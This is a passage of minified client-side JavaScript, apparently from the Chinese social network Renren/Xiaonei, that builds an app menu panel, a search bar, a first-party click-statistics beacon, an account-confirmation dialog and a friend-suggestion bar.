if(app){
var _4c1=_49f.getElementsByTagName("dd");
var menu=null;
var src=app.getElementsByTagName("img")[0].src;
for(var i=0;i<_4c1.length;i++){
if(_4c1[i].getElementsByTagName("img")[0].src==src){
menu=_4c1[i];
break;
}
}
if(menu==null){
menu=$.wpi.createMenuItem(app);
$.wpi.ajaxAddApp(wpiMenuInfo.currentApp[0].id);
}
_49f.insertBefore(menu,_4c1[5]||null);
_4a3.config.release();
_4a1.innerHTML="";
XN.EVENT.stop(e||event);
}
});
_49f.addEvent("click",function(e){
e=e||window.event;
var obj=e.target||e.srcElement;
if(obj.className=="del-handle"){
while(obj.tagName!="DD"){
obj=obj.parentNode;
}
var _4c7=document.createElement("div");
_4c7.innerHTML="<tt class=\"del-tip\">\u5df2\u79fb\u51fa\u6536\u85cf</tt><tt class=\"del-reroll\">\u64a4\u9500</tt>";
$.css(obj.getElementsByTagName("a")[0],{"display":"none"});
var _4c8=setTimeout(function(){
if(obj&&obj.parentNode){
$.wpi.ajaxDelApp(obj.getElementsByTagName("a")[0].name);
obj.parentNode.removeChild(obj);
_4a3.config.release();
}
},4000);
_4c7.timer=_4c8;
$.append(obj,_4c7);
XN.BROWSER.IE?(e.returnValue=false):e.preventDefault();
return false;
}else{
if(obj.className=="del-reroll"){
clearTimeout(obj.parentNode.timer);
var app=obj.parentNode.parentNode;
$.css(app.getElementsByTagName("a")[0],{"display":"block"});
$.css(obj.parentNode,{display:"none"});
setTimeout(function(){
app.removeChild(obj.parentNode);
},0);
XN.BROWSER.IE?(e.returnValue=false):e.preventDefault();
return false;
}
}
});
var _4ca=$("wpi_menuPanel");
var _4cb=$("wpi_menuEntry");
function toggleApp(e){
if(/\bm-chat-button-apps-active\b/.test(_4cb.className)){
$.css(_4ca,{display:"none"});
_4cb.delClass("m-chat-button-apps-active");
}else{
$.css(_4ca,{display:"block"});
_4cb.addClass("m-chat-button-apps-active");
}
$.clearRange();
var _4cd=$("newuserAppTip");
if(_4cd){
_4cd.remove();
}
}
$("wpi_minMenuPanel").addEvent("click",toggleApp);
$("wpi_togMenuPanel").addEvent("click",function(e){
if(!/\bm-chat-button-apps-active\b/.test(_4cb.className)&&parseInt(wpiMenuInfo.user.id)%10==0){
new XN.NET.xmlhttp({url:"http://apps."+XN.env.domain+"/menu/menustart.do?"+new Date().getTime(),method:"get"});
}
toggleApp(e);
});
var _4cf=$("wpiroot");
$(document).addEvent("click",function(e){
e=e||event;
var obj=e.target||e.srcElement;
while(obj!=_4cf&&obj.parentNode){
obj=obj.parentNode;
}
if(obj!=_4cf&&/\bm-chat-button-apps-active\b/.test(_4cb.className)){
toggleApp();
}
});
}
function getStruts(){
return ["<div id=\"wpi_myapp\" class=\"m-chat-button-con\" style=\"display:none;\">","<div id=\"wpi_menuEntry\" class=\"m-chat-button-apps\">","<div id=\"wpi_togMenuPanel\" class=\"m-chat-button-apps-text\">\u6211\u7684\u5e94\u7528","</div>","<div id=\"wpi_reflow\" style=\"display:none;\"></div>","<div id=\"wpi_menuPanel\" class=\"m-chat-window\"><div style=\"position:relative;z-index:2;\">","<div class=\"chat-head\">","<div class=\"head-btn\"><a title=\"\u9690\u85cf\u7a97\u53e3\" id=\"wpi_minMenuPanel\" class=\"minimize\" href=\"javascript:;\"></a></div>","<div class=\"head-name\">\u6211\u7684\u5e94\u7528</div>","</div>","<div class=\"chat-conv\">","<dl class=\"apps\"><dt>\u6700\u8fd1\u4f7f\u7528</dt></dl>","<dl id=\"wpi_hitoryPanel\" class=\"apps\"></dl>","<dl class=\"apps\"><dt id=\"wpi_collectionTitle\">\u6211\u7684\u6536\u85cf <a class=\"edit\" href=\"http://app."+XN.env.domain+"/apps/editapps.do?origin=",$.wpi.getBaseCode()*100+90,"\">\u7f16\u8f91</a></dt></dl>","<dl id=\"wpi_collectionApps\" class=\"apps\"></dl>","</div>","<div class=\"m-chat-notice footer\"><strong>\u62d6\u52a8\u8fdb\u884c\u6392\u5e8f</strong> <a class=\"more\" href=\"http://app."+XN.env.domain+"/app/apps/list?origin=",$.wpi.getBaseCode()*100+90,"\">\u6d4f\u89c8\u66f4\u591a\u5e94\u7528</a></div></div>","<iframe width=\"192\" height=\"100%\" frameBorder=\"0\" style=\"position:absolute;top:0;left:0;z-index:1;margin-left:-1px;opacity:0;filter:alpha(opacity=0);_height:expression(this.parentNode.offsetHeight);\"></iframe>","</div>","</div>","<div id=\"wpi_shortCutsPanel\" class=\"m-chat-button-links\"></div>","<div id=\"wpi_addCollection\" class=\"m-chat-button-links m-chat-button-shotcuts\"></div></div>"].join("");
}
function createStruts(){
var root=$("wpiroot").getElementsByTagName("div")[0];
$.append(root,getStruts());
}
function createRecentMenus(){
$("wpi_togMenuPanel").addEvent("click",function(){
if(!createRecentMenus.init){
for(var i=0;i<wpiMenuInfo.recentMenu.length&&i<9;i++){
$.append(_4a0,$.wpi.createHistroyItem(wpiMenuInfo.recentMenu[i]));
}
createRecentMenus.init=true;
}
});
}
function createFavoriteMenus(){
for(var i=0;i<wpiMenuInfo.favoriteMenu.length&&i<6;i++){
$.wpi.serial.push(wpiMenuInfo.favoriteMenu[i].id);
$.append(_49f,$.wpi.createMenuItem(wpiMenuInfo.favoriteMenu[i]));
}
$("wpi_togMenuPanel").addEvent("click",function(){
if(!createFavoriteMenus.init){
for(var i=6;i<wpiMenuInfo.favoriteMenu.length;i++){
$.wpi.serial.push(wpiMenuInfo.favoriteMenu[i].id);
$.append(_49f,$.wpi.createMenuItem(wpiMenuInfo.favoriteMenu[i]));
}
createFavoriteMenus.init=true;
}
});
}
function createShortcuts(){
_4a3.config.release();
}
function createStowShortcut(){
for(var i=0;i<wpiMenuInfo.currentApp.length;i++){
$.append(_4a1,$.wpi.createStowItem(wpiMenuInfo.currentApp[i]));
}
}
$.wpi.initApp=function(){
if(!window.wpiMenuInfo){
return;
}
createStruts();
bindEvents();
wpiMenuInfo.recentMenu=wpiMenuInfo.recentMenu.slice(0,9);
for(var i=0;i<wpiMenuInfo.favoriteMenu.length;i++){
for(var j=0;j<wpiMenuInfo.recentMenu.length;j++){
if(wpiMenuInfo.favoriteMenu[i].id==wpiMenuInfo.recentMenu[j].id){
wpiMenuInfo.recentMenu.splice(j,1);
break;
}
}
}
for(var i=0;i<wpiMenuInfo.favoriteMenu.length&&i<6;i++){
for(var j=0;j<wpiMenuInfo.currentApp.length;j++){
if(wpiMenuInfo.favoriteMenu[i].id==wpiMenuInfo.currentApp[j].id){
wpiMenuInfo.currentApp.splice(j,1);
break;
}
}
}
createRecentMenus();
createFavoriteMenus();
createShortcuts();
createStowShortcut();
};
$.wpi.showApp=function(){
if(!window.wpiMenuInfo){
return;
}
$.css($("wpi_myapp"),{display:"block"});
var _4d9=$("wpi_reflow");
if(XN.BROWSER.IE7&&_4d9){
$(window).addEvent("scroll",function(){
_4d9.innerHTML="";
});
}
};
$.wpi.hideApp=function(){
if(!window.wpiMenuInfo){
return;
}
$.css($("wpi_myapp"),{display:"none"});
};
})();
XN.dom.ready(function(){
if(!$("navSearchInput")){
return;
}
new XN.ui.friendSearchBar({input:"navSearchInput",submit:$("navSearchSubmit"),form:$("globalSearchForm")});
if(!$("searchMenuAction")){
return;
}
new XN.ui.menu({bar:"searchMenuAction",menu:"searchdropdownMenu",fireOn:"click",alignType:"3-2",offsetX:1});
});
XN.app.statsMaster=function(){
};
XN.app.statsMaster.init=function(){
var j={};
j.ID=XN.cookie.get("id");
j.R=encodeURIComponent(location.href);
var _4db=function(e){
var e=e||window.event,_X=XN.event.pointerX(e),Y=XN.event.pointerY(e),U,T,el=XN.event.element(e),_4e2=$("dropmenuHolder");
xx=XN.element.realLeft(_4e2);
T=el.tagName.toLowerCase();
if(T=="img"){
U=el.src;
}else{
if(T=="a"){
U=el.href;
}
}
var _t=el.getAttribute("stats");
if(_t){
T=_t;
}
j.X=_X-xx;
j.Y=Y;
if(U){
j.U=encodeURIComponent(U);
}
if(T){
j.T=T;
}
var rq=new Image();
rq.src="http://dj."+XN.env.domain+"/click?J="+XN.JSON.build(j);
};
XN.event.addEvent(document,"mousedown",_4db);
};
XN.dom.ready(XN.app.statsMaster.init);
XN.dom.ready(function(){
var _4e5=false;
var _4e6=true;
XN.event.addEvent(document,"mousedown",function(){
_4e6=false;
});
XN.event.addEvent(window,"blur",function(){
_4e6=true;
});
showConfirmDialog=function(){
XN.dom.disable();
var d=XN.DO.alert({title:"\u8bf7\u9886\u53d6\u60a8\u7684"+XN.env.siteName+"\u901a\u884c\u8bc1",message:"<iframe id=\"frameactive\" width=\"410\" height=\"100%\" frameborder=\"no\" scrolling=\"no\" frameborder=\"0\" marginheight=\"0\" marginwidth=\"0\" src=\"about:blank\" ></iframe>",width:454,params:{showCloseButton:true},callBack:function(){
_4e5=false;
showConfirmDialog.fireEvent("close");
}});
arguments.callee.dialog=d;
d.footer.hide();
$("frameactive").src="http://channel."+XN.env.domain+"/confirm/show";
};
XN.event.enableCustomEvent(showConfirmDialog);
var _4e8=setInterval(function(){
if(_4e6||window.noConfirmWindow||_4e5||!XN.cookie.get("noconfirm")){
return;
}
_4e5=true;
XN.cookie.del("noconfirm","/",XN.env.domain);
XN.cookie.del("noconfirm","/",window.location.hostname);
showConfirmDialog();
},1000);
XN.log("\u672a\u6fc0\u6d3b\u7528\u6237\u5f15\u5bfc\u521d\u59cb\u5316over");
});
var GuidBar={bar:null,list:[],addBar:function(){
if(window!=top||this.bar!=null){
return;
}
new XN.net.xmlhttp({url:"http://browse."+XN.env.domain+"/peoplebar.do?ran="+Math.random(),method:"get",onSuccess:function(r){
var _4ea=XN.json.parse(r.responseText);
if(_4ea.list.length>0){
GuidBar.buildStruts(_4ea);
}
}});
},buildStruts:function(obj){
this.list=obj.list;
var _4ec=["<div class=\"doing clearfix\">","<div class=\"userinfo clearfix\">","<a href=\"http://"+XN.env.domain+"/profile.do?id="+obj.user.id+"\" class=\"avatar\">","<img src=\""+obj.user.head+"\" />","</a>","<h3>"+obj.user.name+"\uff0c\u4f60\u597d\uff01</h3>","<p>\u5f00\u59cb\u627e\u4f60\u7684\u597d\u53cb\u5427:</p>","</div>","<div class=\"users\">","<div class=\"arrow\"></div>","<ul></ul>","<div class=\"more\"><a href=\"http://friend."+XN.env.domain+"/myfriendlistx.do?_ua_flag=42&ref=guide_bar_more#item_1\">\u66f4\u591a &raquo;</a></div>","</div>","</div>"].join("");
var _4ed=this.bar=document.createElement("div");
_4ed.className="guide-top";
_4ed.innerHTML=_4ec;
var _4ee=_4ed.getElementsByTagName("ul")[0];
for(var i=0,_4f0=Math.min(this.list.length,5);i<_4f0;i++){
_4ee.appendChild(this.getFriend());
}
var _4f1=$("navBar")||document.body.firstChild;
_4f1.parentNode.insertBefore(_4ed,_4f1);
},getFriend:function(){
var list=this.list;
if(!list[0]){
return null;
}
var _4f3=document.createElement("li");
_4f3.className="clearfix";
_4f3.innerHTML=["<a href=\"#nogo\" class=\"shut\" title=\"\u5173\u95ed\"></a>","<span class=\"headpichold\">","<a href=\"http://"+XN.env.domain+"/profile.do?ref=peoplebar&id="+list[0].id+"\" title=\"\u67e5\u770b"+list[0].name+"\u7684\u4e2a\u4eba\u4e3b\u9875\" target=\"_blank\">","<img src=\""+list[0].head+"\" onload=\"roundify(this)\"/>","</a>","</span>","<span>","<a href=\"http://"+XN.env.domain+"/profile.do?ref=peoplebar&id="+list[0].id+"\" class=\"name\" target=\"_blank\">"+list[0].name+"</a>","<p><a href=\"#nogo\" onclick=\"showRequestFriendDialog('"+list[0].id+"','"+list[0].name+"','"+list[0].head+"','','sg_peoplebar');return false;\" class=\"addfriend_action\"> \u52a0\u4e3a\u597d\u53cb</a></p>","</span>"].join("");
_4f3.firstChild.onclick=this.replaceFriend;
list.splice(0,1);
return _4f3;
},replaceFriend:function(e){
e=e||window.event;
var obj=e.target||e.srcElement;
var node=obj.parentNode;
var _4f7=GuidBar.getFriend();
if(_4f7){
node.parentNode.replaceChild(_4f7,node);
}else{
$(node).remove();
}
return false;
}};

